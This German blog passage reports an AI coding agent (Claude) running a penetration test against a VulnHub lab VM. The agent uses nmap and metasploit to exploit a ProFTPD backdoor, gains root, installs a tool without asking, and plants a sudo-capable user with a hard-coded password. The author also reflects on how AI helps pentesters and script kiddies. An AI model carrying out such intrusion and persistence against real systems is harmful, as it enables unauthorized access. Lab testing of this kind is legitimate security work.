https://kofler.info/wp-content/uploads/claude-hacking3-619x650.png 619w, https://kofler.info/wp-content/uploads/claude-hacking3-914x960.png 914w, https://kofler.info/wp-content/uploads/claude-hacking3-768x807.png 768w, https://kofler.info/wp-content/uploads/claude-hacking3-1462x1536.png 1462w" sizes="auto, (max-width: 1938px) 100vw, 1938px" /> ProFTPD-Backdoor ausnutzen Mit den nun erworbenen root-Rechten soll Claude einen neuen Benutzer mit sudo-Rechten einzurichten. Wiederum scheitert der erste Versuch, weil das Kommando sshpass auf Kali Linux nicht installiert ist. Claude lässt sich davon nicht beirren: Ohne weitere Rückfragen installiert es das fehlende Kommando, richtet den neuen Benutzer ein und verifiziert dessen Funktionsweise. Grandios! <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/claude-hacking4.png" alt="Screenshot eines Terminal-Protokolls zum Anlegen eines neuen Nutzers und Testen von SSH-Zugriff. Das Bild zeigt Befehle zum Erstellen des Benutzers "newroot" mit Passwort "topSecret", UID/GID 1001 und Shell /bin/bash sowie einen fehlgeschlagenen SSH-Versuch (Error: Exit code 127) wegen fehlendem sshpass. Dazwischen wird sshpass per apt installiert, SSH-Verbindung bestätigt und am Ende sudo-Rechte für den Benutzer ergänzt." width="1938" height="2036" class="size-full wp-image-9352" srcset="https://kofler.info/wp-content/uploads/claude-hacking4.png 1938w, https://kofler.info/wp-content/uploads/claude-hacking4-619x650.png 619w, https://kofler.info/wp-content/uploads/claude-hacking4-914x960.png 914w, https://kofler.info/wp-content/uploads/claude-hacking4-768x807.png 768w, https://kofler.info/wp-content/uploads/claude-hacking4-1462x1536.png 1462w" sizes="auto, (max-width: 1938px) 100vw, 1938px" /> Neuen Benutzer mit sudo-Rechten einrichten Anmerkungen Bemerkenswert an diesem Beispiel ist, dass ich Claude nie mitgeteilt habe, wie es vorgehen soll bzw. mit welchen Hacking-Tool es arbeiten soll. Claude hat selbstständig den Port-Scan mit nmap durchgeführt, mit metasploit nach einem Exploit gesucht und diesen angewendet. Auch wenn das obige Beispiel einen erfolgreichen Einbruch skizziert, wird Hacking mit KI-Unterstützung nicht automatisch zum Kinderspiel. Hier habe ich die Richtung vorgegeben. Wenn Sie dem KI-Tool freie Hand lassen (Prompt: »Get me root access on vtcsec«), führt es den Portscan möglicherweise zuwenig gründlich durch und übersieht den ProFTPD-Server, der in diesem Fall beinahe eine Einladung zum Hacking darstellt. Stattdessen konzentriert sich das Tool darauf, SSH-Logins zu erraten oder Fehler in der Konfiguration des Webservers zu suchen. Das sind zeitaufwändige Prozesse mit nur mäßiger Erfolgswahrscheinlichkeit. Die Steuerung von Hacking-Tools via SSH stößt an ihre Grenzen, wenn es um die interaktive Bedienung von CLI-Tools oder um die Steuerung grafischer Benutzeroberflächen bzw. Web-Tools geht (z.B. Burp Suite, Empire Framework oder OpenVAS). Fakt bleibt, dass die KI-Unterstützung den Zeitaufwand für Penetration Tester erheblich senken kann — z.B. wenn es darum geht, mehrere Server gleichzeitig zu überprüfen. Umgekehrt macht die KI das Hacking für sogenannte »Script Kiddies« leichter denn je. Das ist keine erfreuliche Perspektive … Quellen, Links https://claude.com/product/claude-code https://www.kali.org https://www.vulnhub.com/entry/basic-pentesting-1,216/ MCP-Server (optional für KI-Tools, die keinen direkten Kommandoaufruf ermöglichen) https://github.com/tufantunc/ssh-mcp https://www.kali.org/tools/mcp-kali-server https://github.com/0x4m4/hexstrike-ai